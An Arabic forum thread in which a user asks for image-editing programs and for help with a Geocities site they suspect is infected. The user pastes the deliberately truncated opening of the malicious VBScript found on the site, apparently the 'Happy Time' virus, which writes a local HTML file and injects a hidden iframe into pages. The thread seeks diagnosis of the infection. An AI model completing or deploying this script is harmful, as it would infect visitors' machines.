لي مجموعة من الطلبات اتمنى أن اجد لها حلا هنا في هذه الساحة

و هي كالتالي :
ممكن برامج جرافيكس تمكنني من القيام بعملية دمج الصور غير الفوتوشوب 0

وممكن برنامج للتلاعب بالصور و يكون حجمه معقول و سهل الاستخدام

و أخيرا ممكن تزورون هذا الموقع
geocities.com/mohammedwebsite
وتخبرونني هل الموقع سليم أم أنه مصاب بفيروس و ان كان مصاب فكيف يمكن حمايته و ما السبيل لعلاج الموقع من الفيروس حيث أن الموقع و هو موقعي لا يعمل معي و لا أدري ما السبب و لكن أحدهم قال بأن هناك فيروس فزوروه و أخبروني بما حصل

مشكور اخي برق على الرد 0
و مشكور على البرنامجين وبنزلهم ان شاء الله يشتغلوا معي و بالنسبة للموقع الوصلات انا عملتها ولكنها لا تظهر ولا أعرف ما السبب على العموم سأحاول حل المشكلة و اذا تعرف خبير في هذه الامور يا ريت تساعدني

وهذا ايميلي
seershoglak@hotmail.com

وبخصوص الموقع فهو فعلا قيد الانشاء لاني عندما بدات اولى خطوات التحديث فشلت و هي اذا رأيتم في الصفحة الاولى هناك عمل بالانفي تيم قمت بعمله وأرسلته و لكنه لم يظهر لذا لم أقم بأي تحديث أضف الى ذلك الفيروس و هو على شكل كود لا يمحى مهما فعلت و هذه مقدمته
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
طبعا لم اكتب الكود كاملا لئلا يؤثر على المنتدى 0 و كما ذكرت فقد حاولت مرارا و تكرارا علاج المشكلة ولكن بدون فائدة فهل أجد عندكم المساعدة 0 علما بان الامر ضروري وجدا فالموقع كما قلت لصديق عزيز جدا علي توفي قبل اكمال موقعه و ها أنا ذا اكمل العمل فارجو منكم المساعدة ليظهر الموقع و يبصر النور0

مشكور أخي برق على هذا التعاون الكبير و سأرسل الموقع لك وان شاء الله تعرف الخلل وين بالضبط
والله يوفقك